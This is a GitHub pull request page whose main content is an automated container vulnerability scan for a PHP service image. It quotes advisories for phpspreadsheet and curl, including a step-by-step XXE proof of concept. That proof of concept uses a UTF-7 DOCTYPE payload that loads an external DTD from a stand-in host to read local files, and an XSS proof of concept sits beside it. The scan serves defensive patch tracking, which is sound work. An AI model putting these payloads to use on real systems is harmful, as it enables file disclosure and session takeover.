Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Try catches added #111

Merged
merged 3 commits into from
Sep 2, 2024
Merged

Try catches added #111

merged 3 commits into from
Sep 2, 2024

Conversation

bbrands02
Copy link
Collaborator

No description provided.

Copy link

👋 @bbrands02
Thank you for raising your pull request.
Please make sure you have followed our contributing guidelines. We will review it as soon as possible. In the meanwhile make sure your PR checks the following boxes

  • Is based on an issue
  • Has been locally tested
  • Has been tested with the admin UI
  • Has been discussed with the development team in an open channel

Copy link

Your image ghcr.io/commongateway/wooservice-php:prod critical: 0 high: 1 medium: 2 low: 0 unspecified: 1
Current base image php:8.2-fpm-alpine critical: 0 high: 0 medium: 1 low: 0
Updated base image php:8.3-fpm-alpine critical: 0 high: 0 medium: 1 low: 0

Copy link

🔍 Vulnerabilities of ghcr.io/commongateway/wooservice-php:prod

📦 Image Reference ghcr.io/commongateway/wooservice-php:prod
digestsha256:3b72d86ec8e0c4aabf7dfd120821bcd695d2459a5a38951c8f4dc881ec759b04
vulnerabilitiescritical: 0 high: 1 medium: 2 low: 0 unspecified: 1
size255 MB
packages316
📦 Base Image php:8.2-fpm-alpine
also known as
  • 8.2-fpm-alpine3.20
  • 8.2.22-fpm-alpine
  • 8.2.22-fpm-alpine3.20
digestsha256:f445071227e858c52d0aab62372ad4a7b4f939584fd8df3ef04071f953571f1e
vulnerabilitiescritical: 0 high: 0 medium: 1 low: 0
critical: 0 high: 1 medium: 1 low: 0 phpoffice/phpspreadsheet 1.29.0 (composer)

pkg:composer/phpoffice/[email protected]

high 8.8: CVE--2024--45048 Improper Restriction of XML External Entity Reference

Affected range<2.2.1
Fixed version2.2.1
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score0.00043
EPSS Percentile0.09559
Description

Summary

Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)

Details

Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>

If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.

PoC

  1. Create simple xlsx file
  2. Rename xlsx to zip
  3. Go to the zip and open the xl/sharedStrings.xml file in edit mode.
  4. Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
  1. Save sharedStrings.xml file and rename zip back to xlsx.
  2. Use minimal php code that simply opens this xlsx file:
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
  1. You will receive the request to your http://%webhook%/file.dtd
  2. Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.

Impact

Read local files
lfi

medium 5.4: CVE--2024--45046 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected range<2.1.0
Fixed version2.1.0
CVSS Score5.4
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
EPSS Score0.00045
EPSS Percentile0.16332
Description

Summary

\PhpOffice\PhpSpreadsheet\Writer\Html doesn't sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page.

PoC

Example target script:

<?php

require 'vendor/autoload.php';

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
print($writer->generateHTMLAll());

Save this file in the same directory:
book.xlsx

Open index.php in a web browser. An alert should be displayed.

Impact

Full takeover of the session of users viewing spreadsheet files as HTML.

critical: 0 high: 0 medium: 1 low: 0 curl 8.9.0-r0 (apk)

pkg:apk/alpine/[email protected]?os_name=alpine&os_version=3.20

medium : CVE--2024--7264

Affected range<8.9.1-r0
Fixed version8.9.1-r0
EPSS Score0.00056
EPSS Percentile0.23801
Description
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1dompdf/dompdf 2.0.4 (composer)

pkg:composer/dompdf/[email protected]

unspecified : GMS--2024--338 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities

Affected range<=2.0.4
Fixed versionNot Fixed
Description

Improper Neutralization in dompdf/dompdf.

@bbrands02 bbrands02 merged commit 5444670 into main Sep 2, 2024
1 check was pending
@bbrands02 bbrands02 deleted the fix/error-catching branch September 2, 2024 13:04
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants